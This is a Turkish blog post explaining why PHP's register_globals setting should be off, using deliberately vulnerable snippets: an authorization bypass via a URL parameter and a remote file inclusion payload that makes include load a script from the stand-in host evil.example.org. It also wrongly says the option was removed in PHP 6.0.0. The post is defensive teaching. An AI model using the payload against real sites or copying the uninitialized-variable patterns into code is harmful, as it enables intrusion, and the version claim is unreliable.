twitter
Google Plus
tumblr
rss

17 Ağustos 2010 Salı

Php de Register Globals Neden Kapali Olmali ?

register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri OFF) gelir. Bu belirtecin açık (değeri ON)olması doğrudan güvenlik açığı oluşturmasa da ciddi bir tehlike oluşturduğundan değerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapalı olması durumuna göre geliştirilmelidir.

Bu belirtecin açık olması neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardır.

code:

< ? if (yetkili_kulanici()) { $authorized= true; } if ($authorized) { include'/cok/onemli/bilgi.php'; } ? >




register_globals'ın açık olması durumunda bu sayfa adres satırına ?authorized=1 eklenerek çağırıldığında çok önemli bilgiye ulaşılmış olur. Bu tamamen programlama hatasıdır, register_globals belirtecinin oluşturabileceği tehlikeyi göstermek için basit bir örnektir. register_globals kapalı olduğunda programcı tarafından oluşturulan değişkenler dışarıdan müdahele ile (?authorized=1 gibi) değiştirilemez. Açık oması durumunda ise değişkenler tanımlanırken bir ilk değer verilmelidir.

register_globals'ın çıkarabileceği bir diğer tehlikeli duruma include fonksiyonunun kullanımı örnektir:
code:
< ? include"$path/script.php"; ?>


register_globals açık olduğunda bu sayfayı adres satırına ?path=http%3A%2F%2Fevil.example.org%2F%3F eklenerek çağırıldığında aşağıdaki gibi bir sonuç çıkar.

Code:
< ? include'http://evil.example.org/?/script.php'; ?>


Eğer allow_url_fopen açık ise, ki php.ini de öntanımlı olarak açıktır, bu kod http://evil.example.org/ deki script.php dosyasını sanki aynı makinada bulunan bir dosya gibi çalıştırır. Bu birçok açık kaynaklı uygulamalarda ortaya çıkmış ciddi bir tehlikedir.

Tanımlandığında $path değişkenine bir ilk değer verilerek bu engellenebilir. register_globals'ı kapatarak ta bu engellenebilir. register_globals'ın kapalı olması bu ve bunun gibi programcı hatalarından kaynaklanan açıkların kapatılmasını sağlar.

Formdan gelen ve dışardan gelen verilerin işleneceği durumlarda programcıların bu durumu (register_globals) dikkate almaları gerekir. $_POST ve $_GET dizilerinin kullanılması bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarıda da belirtiğimiz gibi değişkenlere başlanğıç değeri verilmesi çok önemlidir. Bu bölümde anlatılanlar register_globals'in bir güvenlik açığı olduğunu göstermez ama kapalı olmasının bir bazı tehlikeleri önlediği kabul edilen bir gerçektir. Ayrıca değerin kapalı olması programcıların kullandıkları değişkenlerin kaynaklarını bilmeleri ve düşünmeleri,ki bu iyi programcının özelliklerindendir, konusunda zorladığı için de faydalıdır.

başka bir deyişle;

get ile aldığımız verileri ?deneme=12345 şeklinde alırken register_globals açıksa;

< ?php echo $deneme; ?>


şeklinde ekrana yazdırabiliriz. oysaki register_globals kapalı olduğunda bu şekilde değişkeni kullanamayız.

< ?php echo $_GET['deneme']; ?>


bu şekilde yaptığımızda get ile gönderdiğimiz deneme nesnesine ulaşabiliriz. aynı durum post methodu içinde geçerli bir durumdur.
session 'ları nasıl etkiliyor peki, register_globals kapalı olduğunda session_register() çalışmaz. session kullanırken her zaman $_SESSION global değişkenini kullanmak en mantıklısıdır.

COOKIE 'de de aynı mantık işlev görür. yanlız cookie'leri yine setcookie fonksiyonu ile tanımlarız. daha sonra $_COOKIE global değişkeni ile bu cookielere ulaşabiliriz.

yani register_globals 'in açık olmasının kısa tanımı şudur; dışarıdan gelen verileri adlarına göre değişken yapar. bu da bazı durumlarda potansiyel güvenlik açıklarına sebep olur. eğer register_globals kapalıysa $_POST,$_GET,$_REQUEST,$_COOKIE,$_SESSION global değişkenlerine dışardan gelen veriler adlarına göre indeks indeks atanır.

unutmadan bir bilgi..

- register_globals php 4.2.0 ile varsayılan değer olarak 'off' değerini almaya başladı
- php 6.0.0 ile register_globals seçeneği tamamen kaldırıldı.


0 yorum:

Yorumlar Hakkında:


Yorum yapmaktan çekinmeyin, Yorumlar hem benim için teşvik, sizin içinde kendinizi ifade edebileceğiniz bir ortam! İyi veya kötü her türlü yoruma açığım. Ha bu arada unutmadan, yaptığınız yorumda bana cevap vermemi beklediğiniz birşey yazdıysanız, lütfen verdiğim cevabı okumak için 1-2 içinde blogumu tekrar kontrol edin.

Yorum Gönder

Etiketgiller

*#0228# Quick Start ne işe yarıyor (1) *#0228# quick start (1) .NET (1) .nomedia (1) .torrent uzantılı (1) 8 mart nedir (1) Battle Royale 0xc000007b hatası (1) Bedelli askerlik (1) Beyaz Ekran Sorunu (2) Blog güncellemeleri (1) Bu ağa bağlanamıyor (1) Bu öğe bulunamadı (1) Call of Duty (1) Cd key already in use (1) DNS (1) DNS adresleri (1) DNS listesi (1) Dosya Şifreleme (1) En Hızlı DNS (1) English Proverbs (1) FIFA 18 (1) FIFA 18 DirectX Function Sorunu (1) FM 2018 (1) Facebook Hesabım kapatıldı (1) Football Manager 2018 (1) Fortnite (1) Fortnite Battle Royale (1) GTA 5 (2) GTA 5 Açılmama Sorunu (1) GTA 5 yükleme Sorunu (1) GTA v donma sorunu (1) Google (9) Gta 5 Online bağlantı sorunu (1) Hata Kodu: -130 Sayfa yüklenemedi (bilinmeyen hata) (1) Hayat Hikayesi (1) Ingilizce fillerin 2. ve 3. halleri (1) Kamera Sorunu (2) Kilo Almak icin (1) MSVCR100.DLL (1) Masterchef (1) Masterchef Türkiye (1) Mazda 3 2018 (1) Mukemmel Sayı (1) Mustafa (1) Need For Speed Payback (1) Need For Speed The Run (1) Need for Speed (5) Need for Speed hatası (1) PES 2017 PES 2018 (1) PLAYERUNKNOWN'S BATTLEGROUNDS (1) QR Kod Nedir (1) RISK: Global Domination (1) Seditio eklenti (4) Serel Yereli (1) Sevgili (2) Toyota Auris (2) Trackmania Nations Forever (1) a/an ve the Kullanımı (1) android dns adresi değiştirme (1) android dosya gizleme hesap makinesi (1) android gizli klasör (1) android market (2) android porno (1) android yasakli site acma programi (1) arkadaş ekleme (1) ayrılık yazıları (1) ayrılık şiirleri (1) ayrılıkla ilgili (1) açamıyorum (1) blog tema değişimi (2) bowling oyunları (1) bowling skor (1) bowling strike (1) bowlingde skor (1) bozuluyor (1) bu ağa bağlanılamıyor windows 8 (1) clash royale (1) clash royale deste (1) core_ets2mp.dll Hatası (1) counter strike cd key sorunu (1) cs 1.6 (1) cs cd key değiştirme işlemi (1) ders notu (1) deyimler (2) disk temizleme (1) dll (2) dll dosyası (1) dll hatası (2) dns ayarları (3) dosya gizleme (1) dosya silinmiyor (1) dowland (1) dünya kadınlar günü (1) e-devlet (1) ets 2 hava basıncı sorunu (1) ets2 (3) ets2 düşük hava basıncı (1) euro truck simulator 2 (2) euro truck simulator 2 multiplayer (1) face hackleme (1) facebook filmi (1) facebook giremiyorum (3) facebook hesabıma ulaşamıyorum (1) facebook neden açılmıyor (1) facebookta bakım (1) facede profiline kimler bakmış (1) filtrenize göre iş bulunmuyor (1) fiyat listesi (1) fiyatı ne kadar (1) giremiyorum (1) google güvenlik (1) google hatası (1) gta v kasma sorunu (1) göremiyorum (1) görünmesin (1) gösterimi (1) göstermek (1) göstermiyor (2) gözükmesin (1) gözükmesini engellemek (1) güncelleme (2) güncelleme duraklatıldı (1) haberi (1) haberleri (3) hack (2) happy new year (1) hata veriyor (1) hatası (3) hatchback (1) ie7 (1) ie8 (1) ilginç (1) ilişki durumu (1) ilk kim (1) inanılmaz evlenme teklifi (1) inceleme (5) indir (9) indirim kodu (1) ingilizce ders (1) ingilizce sözler (1) instagram (5) instagram durduruldu (1) instagram geçiçi olarak engellendin (1) instagram güncelleme (1) instagram hatası (1) internet explorer (1) ios (6) ios 11 (1) ios 11 şarj sorunu çözümü (1) istanbul (3) istatistikler (1) iş takip programı (1) javascript (1) kadın (1) kaldırır mı (1) kapandı (1) karakter problemi (1) karakter sorunu (1) kentsel dönüşüm (1) kentsel dönüşüm kira yardımı (1) kentsel dönüşüm laboratuvarı (1) kilitleniyor (1) kim 500 milyar ister (1) kim milyoner olmak ister (15) kimdir (10) klasör gizleme (1) komik resimler (1) korkunç (1) kredi hesaplama (1) kredi notu düşmeyen bankalar (1) kumanda (1) kurucusu kim (1) kurulumu (2) kız arkadaş (1) kız arkadaşı (1) kız tavlama (1) library (1) mantığı nedir (1) mazda 3 inceleme (1) mp3 (4) mp3 açılımı nedir (1) mükemmel sayı nedir (1) müslüm gürses kimdir (1) nasıl (23) nasıl girerim (1) nasıl gizlenir (1) nasıl kaldırılır (1) nasıl kapatılır (1) nasıl oynanır (1) nasıl silinir (1) nasıl yaparım (6) nasıl çalışır (3) ne (7) ne demek (11) ne işe yarar (10) ne kadar (1) ne zaman (11) ne zaman kuruldu (1) neden (4) neden açılmıyor (1) neden hata veriyor (1) nfs (5) nfs hot pursuit (2) nfs the run (1) niye (8) niçin (1) oyun (30) oyun hilesi (1) pes 2011 (1) philips tv (1) php (4) porna (1) programı (3) pugb (3) resimleri (1) s-voice dil değiştirme (1) s6 özellikleri (1) samsung (10) seditio (6) sevgilim (1) sevk tarihi ne demek (1) sistem gereksinimleri (4) sorun (3) sorun çözümü (27) sorunları (1) sorunu (8) sosyal medya (5) steam (9) steam hatası (4) strike nedir (1) sözleri (4) tavsiye android uygulamaları (1) tavsiye edilen android uygulamaları (1) teknoloji (2) telefon (18) the game malfunctioned hatası (1) troubleshoot3r (2) troubleshooter (21) truckersMP (1) türkçe (3) türkçe yama (2) update (2) update hatası (1) video (3) videoları (2) web dizayn (1) web tasarım (1) web tasarım adana (1) win 10 (1) win10 (3) win7 (4) windows (7) windows 10 (6) windows 7 (5) xinput1_3.dll (1) yasaklı sitelere girmek (2) zaman (1) Çözümü (8) çalışma prensibi (1) çalışmayı durdurdu (2) çalışmıyor (2) çalıştırma (1) çözüldü (1) çözüm (5) örnek proje (1) örneği (1) özellikleri (2) öğe bulunamadı hatası konumunu doğrulayıp yeniden deneyin win 10 (1) şarj sorunu (1)